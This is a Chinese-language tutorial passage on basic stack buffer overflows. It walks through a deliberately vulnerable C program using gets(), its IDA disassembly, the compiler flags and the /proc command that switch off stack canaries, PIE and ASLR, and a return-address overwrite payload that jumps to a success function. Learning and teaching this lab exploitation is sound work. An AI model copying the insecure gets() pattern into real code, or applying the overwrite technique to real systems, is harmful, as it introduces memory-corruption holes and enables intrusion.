写在最前
《365天获取玄武实验室的工作》,推荐原版。
栈溢出基础
Canary
栈帧结构

栈溢出原理
Stack Overflow Principle:通过栈溢出覆盖掉函数栈帧的返回地址, 当函数返回时就会跳入攻击者覆写的地址继续执行代码.
栈溢出前提:
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好地控制。
i. 确认溢出的长度可以到达栈帧返回地址
ii. 确认没有开启Stack Canary
iii. 确认覆写的地址所在的段具有可执行权限
- 编译选项
-fno-stack-protector用于关闭Stack Canary- 编译时需要加
-no-pie确保不会生成位置无关文件,PIE(Position Independent Executable)- 关闭ASLR:
echo 0 > /proc/sys/kernel/randomize_va_space-m32- 生成32位程序gcc -v查看默认PIE设置
关于ASLR:
- 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
- 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
- 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
修改命令echo 0 > /proc/sys/kernel/randomize_va_space
🌰:1
2
3
4
5
6
7
8
9
10
11
12
13
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
这里gets()是一个危险函数,gets()以回车判断输入结束,不检验输入长度。
在这个例子中,目的是希望程序运行的时候可以跳到success函数执行。
丢入IDA反编译之后的结果是:1
2
3
4
5
6
7int vulnerable()
{
char s; // [esp+4h] [ebp-14h]
gets(&s);
return puts(&s);
}
该字符串距离 ebp 的长度为 0x14(注意这里是16进制),所以对应的栈结构为:1
2
3
4
5
6
7
8
9
10
11
12 +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
同时可以从IDA获取success函数的起始地址为“0x08048456”1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25.text:08048456 ; int __cdecl success()
.text:08048456 public success
.text:08048456 success proc near
.text:08048456
.text:08048456 var_4 = dword ptr -4
.text:08048456
.text:08048456 ; __unwind {
.text:08048456 push ebp
.text:08048457 mov ebp, esp
.text:08048459 push ebx
.text:0804845A sub esp, 4
.text:0804845D call __x86_get_pc_thunk_ax
.text:08048462 add eax, 1B9Eh
.text:08048467 sub esp, 0Ch
.text:0804846A lea edx, (aYouHaveAlready - 804A000h)[eax] ; "You Have already controlled it."
.text:08048470 push edx ; s
.text:08048471 mov ebx, eax
.text:08048473 call _puts
.text:08048478 add esp, 10h
.text:0804847B nop
.text:0804847C mov ebx, [ebp+var_4]
.text:0804847F leave
.text:08048480 retn
.text:08048480 ; } // starts at 8048456
.text:08048480 success endp
注:IDA使用空格切换反汇编窗口的图形和文本。
因为gets函数不检查输入长度,所以输入的字符串可以设定为1
0x14*'a'+'bbbb'+success_addr
此时新的栈结构为:1
2
3
4
5
6
7
8
9
10
11
12 +-----------------+
| 0x08048456 |
+-----------------+
| bbbb |
ebp--->+-----------------+
| |
| |
| | #这部分填充a
| |
| |
| |
s,ebp-0x14-->+-----------------+